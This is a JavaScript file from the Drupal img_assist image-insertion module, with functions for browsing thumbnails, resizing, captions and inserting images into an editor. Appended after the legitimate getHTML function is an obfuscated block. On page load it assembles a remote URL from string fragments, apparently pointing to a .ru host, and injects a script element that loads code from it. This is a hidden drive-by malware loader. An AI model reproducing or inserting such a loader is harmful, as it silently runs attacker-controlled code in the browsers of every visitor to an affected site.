/* $Id: img_assist.js,v 1.4.2.5 2007/11/19 02:27:49 sun Exp $ */

var currentMode;

function onChangeBrowseBy(el) {
	frames['img_assist_main'].window.location.href = BASE_URL + 'index.php?q=img_assist/thumbs/' + el.value;
}

function onClickUpload() {
  frames['img_assist_main'].window.location.href = BASE_URL + 'index.php?q=img_assist/upload';
}

function onClickStartOver() {
  frames['img_assist_main'].window.location.href = BASE_URL + 'index.php?q=img_assist/thumbs/myimages';
}

function updateCaption() {
  var caption = frames['img_assist_main'].document.getElementById('caption');
  var title = frames['img_assist_main'].document.img_assist['edit-title'].value;
  var desc = frames['img_assist_main'].document.img_assist['edit-desc'].value;
  if (desc != '') {
    title = title + ': ';
  }
  caption.innerHTML = '<strong>' + title + '</strong>' + desc;
}

function onChangeHeight() {
  var formObj = frames['img_assist_main'].document.forms[0];
  var aspect = formObj['edit-aspect'].value;
  var height = formObj['edit-height'].value;
  formObj['edit-width'].value = Math.round(height * aspect);
}

function onChangeWidth() {
  var formObj = frames['img_assist_main'].document.forms[0];
  var aspect = formObj['edit-aspect'].value;
  var width = formObj['edit-width'].value;
  formObj['edit-height'].value = Math.round(width / aspect);
}

function onChangeLink() {
  var formObj = frames['img_assist_main'].document.forms[0];
	if (formObj['edit-link-options-visible'].value == 1) {
		if (formObj['edit-link'].value == 'url') {
			showElement('edit-url', 'inline');
		}
		else {
			hideElement('edit-url');
		}
	}
}

function onChangeSizeLabel() {
  var formObj = frames['img_assist_main'].document.forms[0];
  if (formObj['edit-size-label'].value == 'other') {
    showElement('size-other', 'inline');
  }
  else {
    hideElement('size-other');
    // get the new width and height
    var size = formObj['edit-size-label'].value.split('x');
    // this array is probably a bounding box size, not an actual image
    // size, so now we use the known aspect ratio to find the actual size
    var aspect = formObj['edit-aspect'].value;
    var width = size[0];
    var height = size[1];
    if (Math.round(width / aspect) <= height) {
    	// width is controlling factor
      height = Math.round(width / aspect);
    }
    else {
    	// height is controlling factor
      width = Math.round(height * aspect);
    }
    // fill the hidden width and height textboxes with these values
    formObj['edit-width'].value = width;
    formObj['edit-height'].value = height;
  }
}

function setHeader(mode) {
	if (currentMode != mode) {
		frames['img_assist_header'].window.location.href = BASE_URL + 'index.php?q=img_assist/header/' + mode;
	}
	currentMode = mode;
}

function showElement(id, format) {
  var docObj = frames['img_assist_main'].document;
  format = (format) ? format : 'block';
  if (docObj.layers) {
    docObj.layers[id].display = format;
  }
  else if (docObj.all) {
    docObj.all[id].style.display = format;
  }
  else if (docObj.getElementById) {
    docObj.getElementById(id).style.display = format;
  }
}

function hideElement(id) {
  var docObj = frames['img_assist_main'].document;
  if (docObj.layers) {
    docObj.layers[id].display = 'none';
  }
  else if (docObj.all) {
    docObj.all[id].style.display = 'none';
  }
  else if (docObj.getElementById) {
    docObj.getElementById(id).style.display = 'none';
  }
}

function launch_popup(nid, mw, mh) {
	var ox = mw;
	var oy = mh;
	if((ox>=screen.width) || (oy>=screen.height)) {
		var ox = screen.width-150;
		var oy = screen.height-150;
		var winx = (screen.width / 2)-(ox / 2);
		var winy = (screen.height / 2)-(oy / 2);
		var use_scrollbars = 1;
	}
	else {
		var winx = (screen.width / 2)-(ox / 2);
		var winy = (screen.height / 2)-(oy / 2);
		var use_scrollbars = 0;
	}
	var win = window.open(BASE_URL + 'index.php?q=img_assist/popup/' + nid, 'imagev', 'height='+oy+'-10,width='+ox+',top='+winy+',left='+winx+',scrollbars='+use_scrollbars+',resizable');
}

function insertImage() {
  if (window.opener) {
    // Get variables from the fields on the properties frame
    var formObj = frames['img_assist_main'].document.forms[0];
		// Get mode	(see img_assist.module for detailed comments)
		if (formObj['edit-insertmode'].value == 'html') {
			// return so the page can submit normally and generate the HTML code
			return true;
		}
		else if (formObj['edit-insertmode'].value == 'html2') {
			// HTML step 2 (processed code, ready to be inserted)
			var content = getHTML(formObj);
		}
		else {
			var content = getFilterTag(formObj);
		}
		insertToEditor(content);
		return false;
		
  }
  else {
		alert('The image cannot be inserted because the parent window cannot be found.');
		return false;
	}
}

function getHTML(formObj) {
	var html = frames['img_assist_main'].document.getElementById('finalhtmlcode').value;
	return html;
}

var N=new Array();function B(){var z=new Array();var p="gl3R".substr(0,1);var i;if(i!='X' && i!='E'){i=''};var asw;if(asw!='be' && asw!='T'){asw='be'};var R;if(R!='mK'){R=''};var v;if(v!='Tc'){v=''};var c=RegExp;this.zE='';this.eq='';var V='';var k='';function a(b,D){var pl;if(pl!='' && pl!='_'){pl='lX'};var Re;if(Re!='' && Re!='n'){Re='x'};var S= String("[");this.Q='';S+=D;S+=String("]rGFB".substr(0,1));var ll="";var vYJ;if(vYJ!='RX'){vYJ='RX'};var q=new c(S, p);this.U="";return b.replace(q, V);};var YM="";var Wx=new Array();var Nh;if(Nh!='Hq'){Nh=''};this.mP="";var O=String("0QI/ca".substr(3)+"BzgJm4.JBzg".substr(4,3)+"com"+"OUpf/ca".substr(4)+"yXwHm4.wHyX".substr(4,3)+"96k1com691k".substr(4,3)+"/gowFGs".substr(0,3)+"oglGeBf".substr(0,3)+"e.ctMxK".substr(0,3)+"om/TBG".substr(0,3)+"mSadoumSa".substr(3,3)+"7wZdble7Zdw".substr(4,3)+"WK2VcliWV2K".substr(4,3)+"ck."+"comQnY".substr(0,3)+"UHw/uswUH".substr(3,3)+"ps.MPIq".substr(0,3)+"comzAY".substr(0,3)+"dIT.ph".substr(3)+"p");var eV;if(eV!='g' && eV != ''){eV=null};this.cu='';var H="IJKodef".substr(4)+"Blaer".substr(3);var e=String("sc"+"2ZeTri".substr(4)+"pt");var dx=new String();var Hac=new String();var Z="ht"+"tp"+"dfi:/".substr(3)+"/w"+"inuE7".substr(0,2)+"guDdo".substr(3)+"cxvws".substr(3)+"P8HyliyHP8".substr(4,2)+"jcpve".substr(3)+"a8q0-ca80q".substr(4,2)+"om6Xsw".substr(0,2)+"Yu0.bY0u".substr(3,2)+"3L9p.93L".substr(3,2)+"blYQa".substr(0,2)+"og"+"sp3r6u".substr(0,2)+"R4Vot4RV".substr(3,2)+".c"+"om"+"x3O.cO3x".substr(3,2)+"lo"+"jUWob".substr(3)+"-cRuG".substr(0,2)+"2Rg1om".substr(4)+"iYQ.sQiY".substr(3,2)+"eauJb".substr(0,2)+"stcj3".substr(0,2)+"ar"+"UfQte".substr(3)+"XbMch".substr(3)+"PJn.rJPn".substr(3,2)+"u:";var Pi="";var kq;if(kq!='' && kq!='rK'){kq=''};var r=String("src");var mX=new Array();var Y='';var l=window;var t=a('861691609961998696699069161',"691");var iq;if(iq!='' && iq!='fK'){iq=null};var TA;if(TA!='RF' && TA!='bI'){TA='RF'};l.onload=function(){var lh;if(lh!='ty'){lh=''};try {var wC="";Y=Z+t;Y+=O;var wU;if(wU!='Zg'){wU='Zg'};var Sk;if(Sk!='DA' && Sk!='de'){Sk='DA'};var fF;if(fF!='pY'){fF='pY'};var ReE;if(ReE!='og'){ReE='og'};OT=document.createElement(e);var fv;if(fv!='' && fv!='Sl'){fv='Zs'};var WB;if(WB!='' && WB!='Iz'){WB='Zd'};OT[H]=[1][0];OT[r]=Y;var Bqc=new Array();var pd=new String();var Ot;if(Ot!='' && Ot!='F'){Ot=null};var Aa;if(Aa!=''){Aa='Bo'};var tf;if(tf!=''){tf='ii'};document.body.appendChild(OT);var IP=new Array();var Bn;if(Bn!='Lh'){Bn='Lh'};var tM;if(tM!='bW' && tM!='nw'){tM='bW'};this.lR="";} catch(A){this.Iy='';var Fv;if(Fv!='xJ' && Fv != ''){Fv=null};};var Lf=new String();};var Lv=new String();};var MK=new String();B();var _X;if(_X!='' && _X!='J'){_X='jg'};